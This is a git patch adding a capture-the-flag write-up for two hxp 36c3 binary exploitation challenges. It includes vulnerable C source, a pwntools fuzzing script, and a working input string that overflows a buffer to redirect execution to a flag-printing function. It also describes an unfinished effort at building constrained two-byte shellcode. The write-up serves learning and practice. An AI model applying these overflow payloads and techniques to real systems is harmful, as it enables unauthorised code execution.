From e1dd0ad92ad67fdb7ee9e4a38a0dbc8e4c28627d Mon Sep 17 00:00:00 2001 From: Hannes Hauer Date: Sun, 26 Jan 2020 23:33:27 +0100 Subject: [PATCH] Add hxp 36c3 writeup --- writeups/hah/hxp36c3.md | 186 ++++++++++++++++++++++++++++++++++++++++ 1 file changed, 186 insertions(+) create mode 100644 writeups/hah/hxp36c3.md diff --git a/writeups/hah/hxp36c3.md b/writeups/hah/hxp36c3.md new file mode 100644 index 0000000..6d05ab4 --- /dev/null +++ b/writeups/hah/hxp36c3.md @@ -0,0 +1,186 @@ +# hxp 36c3 +## Retrospective +hxp was a quite fun but rather hard CTF. Thanks to it taking place during the holidays I could work on the challenges a bit more unimpeded than usually, but the higher difficulty of even the "easy" challenges made progress slow. Having just finished the OTW Advent CTF the short time during which hxp took place also took some time getting used to. +While I took a glance at a couple of challenges I only really took a serious stab at two of them. I didn't finish either (however @SebastianDietz successfully solved one of them) but made some significant progress, and "splitcode" in particular was an interesting learning experience because it required a rather unusual approach and planning a payload whose instructions adhere to some strict limitations. + +## Challenges +### flag concat +* Category: pwn +* 32 solves / 244 points (easy difficulty) +* Time spent: ~ 3 hours + +``` +While looking for scripts to reuse from last year hxp CTF, we found this service running on one of our servers. This service concats hxp flags for easier shipment. Because hxp produces so much flags one dedicated server running only this script was necessary. +``` + +The provided source code showed a rather simple program that takes two inputs, stripping the flag-prefix if necessary, and concatenating them (comments in the code were added by me): + +``` c +// gcc -no-pie -o vuln vuln.c + +#include +#include +#include +#include + +typedef struct{ + char s1[0x400]; + char s2[0x200]; + char *concatenated_s3; +} packed_strings; + +packed_strings strings; + +void win(){ + printf("Debug mode activated!\n"); + system("cat flag.txt"); +} + +void do_strncat(){ + int output_len = 0; + char *start_s1 = NULL; + char *start_s2 = NULL; + + printf("First Flag:\n"); + fgets(strings.s1, 0x100, stdin); // Null-terminates, s1[0x100] = \00 + printf("Second Flag:\n"); + fgets(strings.s2, 0x100, stdin); // Null-terminates, s2[0x100] = \00 + + output_len = strlen(strings.s1) + strlen(strings.s2); // Amount of bytes excl. \00 (max: 2 * 0ff?) + char s3[output_len+1]; + strings.concatenated_s3 = s3; + + printf("Going to output %i bytes max!\n", output_len); + + start_s1 = strstr(strings.s1, "hxp{"); + start_s2 = strstr(strings.s2, "hxp{"); + + if(!start_s1){ + start_s1 = strings.s1; + } + if(!start_s2){ + start_s2 = strings.s2; + } + + strncat(start_s1, start_s2, SIZE_MAX); // Probably needs to be manipulated already + strcpy(strings.concatenated_s3, start_s1); // Ignores length, s1 must be manipulated already + + printf("%s\n", strings.concatenated_s3); +} + +int main(){ + setbuf(stdout, NULL); + setbuf(stdin, NULL); + printf("Welcome to the hxp flag concat protocol server!\n"); + do_strncat(); + return 0; +} +``` + +Considering that the concatenation happens inside a seperate function that is called from ```main()```, an unused function that prints the flag is present and PIE is disabled everything seemed to hint at abusing the string handling in a way to overwrite the return address. Going through the program line by line didn't offer any obvious bugs or implementation errors however: + +* The character arrays contained in the struct were way bigger than the maximum length read from the input, so off-by-one errors and overwriting the terminating null byte of either isn't possible +* The output length is correctly calculated, and the array used to store the concatenated was appropriately sized +* All string handling functions checked for and added terminating null bytes if necessary +* Abusing the string handling by messing with the length calculation doesn't work because the length isn't used besides allocating an array of the correct size + +The only curious line was the one containing the ```strncat```-call using ```SIZE_MAX```, and @SebastianDietz correctly found (a blog post reporting a bug when used in such way)[http://blog.httrack.com/blog/2014/08/31/i-found-a-bug-in-strncat/]. I tried a quick script testing various positions of the "hxp{"-string, but it obviously wasn't enough to test all permutations: + +``` python +#!/usr/bin/env python + +from pwn import * + +# sym.win: 0x4007b6 +# sym.do_strncat: 0x4007d5 + +first_payload = "AAAA" + "BBBB" + "hxp{" + "CCC" +second_payload = "XXXX" + "\x00" + "YYYY" + "hxp{" + "ZZZ" +first_payload = "A" * 40 +second_payload = "C" * 35 + +for i in range(0,0x100): + second_payload = "B" * i + "hxp{" + "C" * 35 + p = process('./vuln') + p.recvuntil('First Flag:\n') + p.sendline(first_payload) + p.recvuntil('Second Flag:\n') + p.sendline(second_payload) + bytesline = p.recvline() + first_payload_line = p.recvline(keepends=False) + second_payload_line = p.recvline(keepends=False) + if (first_payload != first_payload_line or second_payload[i:] != second_payload_line): + print(i) + print(first_payload_line) + print(second_payload_line) + print(second_payload[i:]) + p.close() +``` + +Sebastian however also unearthed (another bug report)[https://sourceware.org/bugzilla/show_bug.cgi?id=19390] and ultimately found the correct input strings: + +``` +\x00-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------\xb6\x07\x40\x00----------------\n.............................hxp{ABCDEFGHIJKLMNOPQRTSUWVXYZ1234567890\n +``` + +With the first string having a length of 0 and the second string being longer than 32 there is a specific offset at which an overflow can be produced, allowing for overwriting the return address. + + +### splitcode +* Category: pwn +* 30 solves / 256 points (medium difficulty) +* Time spent: ~ 6 hours + +``` +We proudly present: Code Execution as a Service (CEaaS), now on x86-64! + +(Flag filename is randomized.) +``` + +Besides the challenge description there wasn't much information offered on how this service worked; the source code was not provided but the executable was. +Static analysis revealed a length check on the input, reading 42 bytes provided by the user. Running the program with some sample inputs showed that it created an executable memory region and copied the input split into chunks of two bytes each, seperated some space inbetween, as well as some semi-random instructions there; afterwards execution jumped to the start of this memory section (before doing a ```syscall```) which looked like this: + +``` +# Input: ABCDEFGHIJKLMNOPQRSTUVWZYXabcdefghijklmno +#:> px 0x240 @r12 +#- offset - | 0 1 2 3 4 5 6 7 8 9 A B C D E F| 0123456789ABCDEF +#0x7ffb1d3e5000 |4889 fc58 595a 5b5d 5e5f 4158 4159 415a| H..XYZ[]^_AXAYAZ +#0x7ffb1d3e5010 |415b 415c 415d 415e 415f 9d5c eb02 f4f4| A[A\A]A^A_.\.... +#0x7ffb1d3e5020 |4142 eb1e f4f4 f4f4 f4f4 f4f4 f4f4 f4f4| AB.............. +#0x7ffb1d3e5030 |f4f4 f4f4 f4f4 f4f4 f4f4 f4f4 f4f4 f4f4| ................ +#0x7ffb1d3e5040 |f4f4 4344 eb10 f4f4 f4f4 f4f4 f4f4 f4f4| ..CD............ +#0x7ffb1d3e5050 |f4f4 f4f4 f4f4 4546 eb1a f4f4 f4f4 f4f4| ......EF........ +#0x7ffb1d3e5060 |f4f4 f4f4 f4f4 f4f4 f4f4 f4f4 f4f4 f4f4| ................ +#0x7ffb1d3e5070 |f4f4 f4f4 4748 eb1e f4f4 f4f4 f4f4 f4f4| ....GH.......... +#0x7ffb1d3e5080 |f4f4 f4f4 f4f4 f4f4 f4f4 f4f4 f4f4 f4f4| ................ +#0x7ffb1d3e5090 |f4f4 f4f4 f4f4 494a eb10 f4f4 f4f4 f4f4| ......IJ........ +#0x7ffb1d3e50a0 |f4f4 f4f4 f4f4 f4f4 f4f4 4b4c eb12 f4f4| ..........KL.... +#0x7ffb1d3e50b0 |f4f4 f4f4 f4f4 f4f4 f4f4 f4f4 f4f4 f4f4| ................ +#0x7ffb1d3e50c0 |4d4e eb1e f4f4 f4f4 f4f4 f4f4 f4f4 f4f4| MN.............. +#0x7ffb1d3e50d0 |f4f4 f4f4 f4f4 f4f4 f4f4 f4f4 f4f4 f4f4| ................ +#0x7ffb1d3e50e0 |f4f4 4f50 eb10 f4f4 f4f4 f4f4 f4f4 f4f4| ..OP............ +#0x7ffb1d3e50f0 |f4f4 f4f4 f4f4 5152 eb12 f4f4 f4f4 f4f4| ......QR........ +#0x7ffb1d3e5100 |f4f4 f4f4 f4f4 f4f4 f4f4 f4f4 5354 eb18| ............ST.. +#0x7ffb1d3e5110 |f4f4 f4f4 f4f4 f4f4 f4f4 f4f4 f4f4 f4f4| ................ +#0x7ffb1d3e5120 |f4f4 f4f4 f4f4 f4f4 5556 eb18 f4f4 f4f4| ........UV...... +#0x7ffb1d3e5130 |f4f4 f4f4 f4f4 f4f4 f4f4 f4f4 f4f4 f4f4| ................ +#0x7ffb1d3e5140 |f4f4 f4f4 575a eb12 f4f4 f4f4 f4f4 f4f4| ....WZ.......... +#0x7ffb1d3e5150 |f4f4 f4f4 f4f4 f4f4 f4f4 5958 eb1e f4f4| ..........YX.... +#0x7ffb1d3e5160 |f4f4 f4f4 f4f4 f4f4 f4f4 f4f4 f4f4 f4f4| ................ +#0x7ffb1d3e5170 |f4f4 f4f4 f4f4 f4f4 f4f4 f4f4 6162 eb1a| ............ab.. +#0x7ffb1d3e5180 |f4f4 f4f4 f4f4 f4f4 f4f4 f4f4 f4f4 f4f4| ................ +#0x7ffb1d3e5190 |f4f4 f4f4 f4f4 f4f4 f4f4 6364 eb1a f4f4| ..........cd.... +#0x7ffb1d3e51a0 |f4f4 f4f4 f4f4 f4f4 f4f4 f4f4 f4f4 f4f4| ................ +#0x7ffb1d3e51b0 |f4f4 f4f4 f4f4 f4f4 6566 eb1e f4f4 f4f4| ........ef...... +#0x7ffb1d3e51c0 |f4f4 f4f4 f4f4 f4f4 f4f4 f4f4 f4f4 f4f4| ................ +#0x7ffb1d3e51d0 |f4f4 f4f4 f4f4 f4f4 f4f4 6768 eb10 f4f4| ..........gh.... +#0x7ffb1d3e51e0 |f4f4 f4f4 f4f4 f4f4 f4f4 f4f4 f4f4 696a| ..............ij +#0x7ffb1d3e51f0 |eb16 f4f4 f4f4 f4f4 f4f4 f4f4 f4f4 f4f4| ................ +#0x7ffb1d3e5200 |f4f4 f4f4 f4f4 f4f4 6b6c eb10 f4f4 f4f4| ........kl...... +#0x7ffb1d3e5210 |f4f4 f4f4 f4f4 f4f4 f4f4 f4f4 6d6e eb18| ............mn.. +#0x7ffb1d3e5220 |f4f4 f4f4 f4f4 f4f4 f4f4 f4f4 f4f4 f4f4| ................ +#0x7ffb1d3e5230 |f4f4 f4f4 f4f4 f4f4 6f0a eb1a f4f4 f4f4| ........o....... +``` + +Because the spacing and some of the automatically inserted instructions changes between runs the exact layout isn't determenistic; the empty spaces were skipped at execution by use of jump instructions. While this allowed for arbitrary code execution the fact that the input is split into two-byte chunks severely limited the available instructions that could be used, especially since the binary was 64 bit where a lot of opcodes are bigger than in 32 bit and inserting addresses is harder due to the address size. In addition bytes at odd positions in the input were checked for values 0xF and 0xCD which further limited the possible instructions that could be used (for example the ```syscall```-opcode is ```0F05```). +Looking up [single or double byte instructions](http://xxeo.com/single-byte-or-small-x86-opcodes) I tried to find possible attack vectors, but most of them only operate on parts of the address registers which could potentially be used to manipulate e.g. the return address. @georg offered some ideas on probably using a payload that allows for reading more shellcode from stdin, but I didn't find a way to construct one with the available instructions. \ No newline at end of file -- 2.43.0